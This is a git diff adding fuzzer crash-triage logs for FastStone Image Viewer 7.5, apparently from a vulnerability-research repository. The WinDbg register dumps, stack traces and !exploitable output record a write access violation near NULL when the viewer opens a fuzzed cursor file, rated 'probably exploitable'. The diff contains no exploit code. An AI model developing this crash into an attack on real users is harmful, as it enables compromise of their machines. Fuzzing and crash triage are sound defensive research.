+ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b8c.dc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0f6f6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.#QNAN 3.19256e-005 -2.71259e-007 -1.2645e+020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d4000 b737469a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14348/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ecb707f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..060030d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D00: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D00: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d00.fe8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.477965600000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.5815e+030 -2.65317e-028 -2.03707e+014 -1.70346e-022 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c7000 e78f8fa8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..060030d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/14786/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D00: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D00: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 